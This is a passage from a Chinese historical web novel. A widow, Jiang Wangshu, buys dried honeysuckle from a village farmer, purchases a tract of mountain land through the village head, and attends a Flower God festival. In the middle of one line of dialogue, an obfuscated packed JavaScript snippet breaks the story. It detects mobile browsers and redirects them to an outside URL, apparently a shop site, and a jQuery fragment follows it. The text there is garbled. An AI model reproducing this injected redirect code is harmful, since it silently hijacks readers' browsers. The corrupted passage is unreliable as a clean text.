“当家的,你手里拿的是什么?”妻子柳氏唤了好几声他都没回神。
“当家的?”柳氏的手在赖福生眼前晃了好几下,他才如梦初醒。
“诚年四兄弟呢?”赖福生没看见四个儿子,只看见妻子在剥石竹笋。
“去扳笋子了,今年多亏阿月娘子收购,他们都想着能贴补一些家用。这不,中午饭都是带着干粮,刚刚信年才送回来两筐,我这不正剥着皮呢。”
赖福生拿起背篓就往外走。
妻子见他行色匆匆,起身从灶房抓了一块用箬叶包好的年糕:“你这么着急是要往哪里去,水也不喝一口。”
“江娘子要收这个金银花,说是花期就这半个月时间,晚了就过了,一斤干花可以卖一百五十文!就是已经开花的也能卖三十文,要是品相好还能再加。”
柳氏仔细端详赖福生手里的花藤:“这不是忍冬藤吗?”
“你认识?”
“我当然认识,你去摘的时候把藤一起割回来,只要不破坏主藤,来年还能长的更好,这样比你一点点摘快多了,我在家可以慢慢摘,这样也能采更多花蕾,如果藤上还有许多的小花蕾你就第二天再去采。”柳娘子殷殷叮嘱自家男人。
赖福生一家六口人自此每天从扳竹笋变成天不亮就上山采花,他们对山林更熟悉,哪里有这些花,比江望舒这个半吊子采药人更清楚,第一批花蕾送到江望舒家里的时候赖福生是忐忑的,他不知道江娘子会不会食言,或者嫌弃他们采的花品相不好。
江望舒把赖福生带来的一布袋金银花称好,倒进准备好的簸箕里,花蕾和已经开花的分得清清楚楚,没有一丝杂质,花的品相完好不说,晒的足够干,尽管这几天的天气并不好。看来是烘干的。
江望舒微微一笑,自己果然没看错人:“福生叔,您这个干花品质特别好,花蕾我给您两百二十文一斤算,至于干花,这个药效低,您这品相好,我给您四十五文一斤,总共是二十三斤花蕾,十八斤干花,一共是五千八百七十文,这是五两的银锭子,这是八百七十文钱,您点点看。”
赖福生收钱的手都在颤抖,他接过银锭,底下有惠丰银号的印记,这是整个汀州最大的银号,有口皆碑。散碎的铜子被江望舒一百文一串穿好,他一个一个点过,眼里闪过激动的泪光。
“多谢,多谢……一个子儿不少,不知道来年您还收这些金银花不?”赖福生小心翼翼地问道。
“收的,明年开花的时候您可以早点去,就可以采到更多花蕾。”
“福生叔,那个毛竹笋如果可以的话,麻烦您晒成笋干。我一个人忙不过来,我按照笋干的价格来收,只是要不了太多,两百斤足以。”
“没问题,做好了我给您送过来。”
“花神诞之前,早晚我都是在家的,你那时候送过来就行。”江望舒笑着对他说。
送走赖福生没多久,远远见林阿婆从村里的小道上走来,江望舒站在院门口等林阿婆上前。
急性子的阿婆还未进门就已经开口:“前日里你托我打听的事情,我已经问清楚了,你想买的那片山场叫牛坪山,东至陈地坪分水线,南至苏溪村冯家坪分水线,北边是灌场坪分水线,西边就是我们采菌子的小坑背,这一片山场二百六十两!”
江望舒心砰砰直跳,这片山场比自己想象中的还要便宜。那一大片山场少说上千亩,每年单单药材的产出都不止二百六十两,居然只卖二百六十两,折合下来一亩山地居然不到三百文。果然山地多了不值钱!
见江望舒红着脸不说话,林阿婆声音低下去:“你也觉得贵吧,二百六十两可以买将近二十亩上好的水田,那边也没什么木材,每年也就采点菌子,能值几个钱!要我说,买这个山场还不如买几亩地实在!”
江望舒深吸一口气:“阿婆,我想买下山场。”
“啊?”林阿婆以为自己听错了:“你说你要买山场?”
“是,我想用买来的山场试试能不能种出药材,小龙溪贯穿牛坪山,我想试试看,就算不成每年山场的产出我也能换些钱,时间问题,早晚能把二百六十两赚回来。”
“你心里有成算就好,你比阿婆有本事,既然想好了,就去找牙行立契书,里正那里我会去给你打招呼,至于衙门那里就花钱让牙行的人去办,你一个女子在外行走要当心。”
“我晓得的,多谢阿婆关心。”
“你这小妮子,还跟我客气什么!”林阿婆笑着拍了她的背一把。
江望舒带着张有财登里正家门的时候,是个难得的好天气。朝阳染遍峰峦,东岭云气濛濛。她提着一个八样攒盒并一块足够裁剪一身新衣的细葛布,开门的人换成了一个刚留头的小丫头。
江望舒说明来意,里正翻出山场的记录和张有财手里的文书进行比对,林守正一字一句看得很认真,旁边的妻子田氏欲言又止,早在江望舒说明来意时她就大吃一惊。
她还记得一年前这个江氏来家办理路引时的模样,孱弱纤细,蜡黄的脸色端的一副久病难医的模样,只是一年未见竟出落得越发标致。只见她面若芙蕖,两颊晕染胭脂霞。眸若星子,顾盼间神采奕奕,眉眼间自带三分英气。鬓边不见珠翠,唯见青丝浓密如瀑,周身透着一股蓬勃朝气。
江望舒垂手静静立在一旁,林守正良久才出声:“契书里标注的边界清晰明了,没有什么问题。”
林守正拿出印信并未直接用印,而是语重心长道:“江氏,你既要买这片山场,想必已经了解过那里的情况。老朽今日就多嘴一句,这片山场之所以便宜,是因为占据山场半数以上的小龙溪一带都是石头山,无所产出。山壁陡峭做不了什么用途,今日这文书签下,一旦在衙门存档就再无返回的余地,你可要想好了。”
“多谢林老爷教诲,妾身已经想好了,好的山场要么太大,要么太远,只有这牛坪山场价格适中,离村子脚程也近,如今水田难买,无奈之下退而求其次买下山场也是为了给孩子们积攒些家产,再有就是妾身娘家以前行
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590317|203914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
医,略懂些药材种植,买山场也是想试试看能不能种植一些药材。”
“你心有成算,也是稚子之福,听闻陈家阿文现如今已经进学,江氏,你做的很好,老朽会让人吩咐下去,今后那片山场私有,外人不得入内采伐。”言罢林守正端茶送客。
“老头子,这江氏以前不见那么大的本事,一年的时间简直是大变样!又是盖房又是买山场,一个寡居的妇人还带着三个孩子,谁知道她的钱来路正不正!”田氏一边翻看江望舒带来的攒盒和布匹,一边在林守正耳边絮叨。
“慎言!这个江氏乃是孙师爷儿子的救命恩人,孙师爷是谁,那是县令大人身边的红人!”林守正淡淡出言告诫自己的老妻。
自家婆姨是什么德行,林守正一清二楚,平时做些无伤大雅的小事他从未计较。老妻是自己落魄时所娶,跟在身边大半辈子,相夫教子侍奉公婆没有功劳也有苦劳,如今半截黄土埋脖子的人了,她大门不出二门不迈的,林守正并未将她的话放在心上。
“嗨,我也就是一说,你说这江氏一个人带着三个孩子,我那娘家侄孙也是鳏夫一个带着两个孩子,把她说给我那侄孙,你觉得怎么样?”田氏嘴里算计,手上不停,从攒盒里捡了一块软糯好消化的糕点塞到林守正手里。
“我记得你那个侄孙颇不成器,好赌还把发妻给卖了?你可别去掺和这些腌臜事,没的坏了瑜哥儿的名声。江氏可不是任人拿捏的软柿子,现在瑜哥儿也买了小丫鬟伺候你,咱们关起门来过日子才是正理。”林守正必须要压下老妻这个危险的想法,一番话说得颇重,眼神精光毕露,压迫感扑面而来。
田氏最终偃旗息鼓,让小丫鬟收拾好礼品离开堂屋。
林守正看着手里的糕点淡淡叹口气,这是老妻多年形成的习惯,有好东西都是紧着他的嘴,但是这件事事关林氏多年积攒的基业和名声,容不得破坏,好名声难得,败坏却轻而易举,陈氏家族就是现成的例子。
张有财办事效率高,江望舒很快就拿到了地契,她摩挲着手里这薄薄一张纸。回想这一年每天起早贪黑,无一日懈怠,终于挣下这份家业。
“一切都值得了。”
很快汀州府迎来一年一度的花神诞,江望舒学着长辈的样子,准备了五色年糕,糯米黄酒,各色干果以及翡翠豆腐跟着婶子阿婆们一起去花神庙祭拜,江望舒对这些古老的习俗很是好奇。
花神庙位于兰溪县的双螺山上,双螺山远远望去就像一个扎着双螺髻的少女,爬到山顶俯瞰会发现整个兰溪江就像少女头上飘扬的发带,兰溪县城如一颗明珠坐落在发髻中间的位置,江望舒为大自然的鬼斧神工叹服。
下山的时候,江望舒在路边看到一株高大的曼陀罗,花朵艳丽,她好奇往前凑了凑,结果被林阿婆一把拉住:“离它远点,别看这花漂亮,这玩意儿碰了容易见阴人,误食更是能要命,这可是地狱之花。偏偏还有个很好听的名字叫洋金花。”
江望舒笑笑,听话地远离那株花树。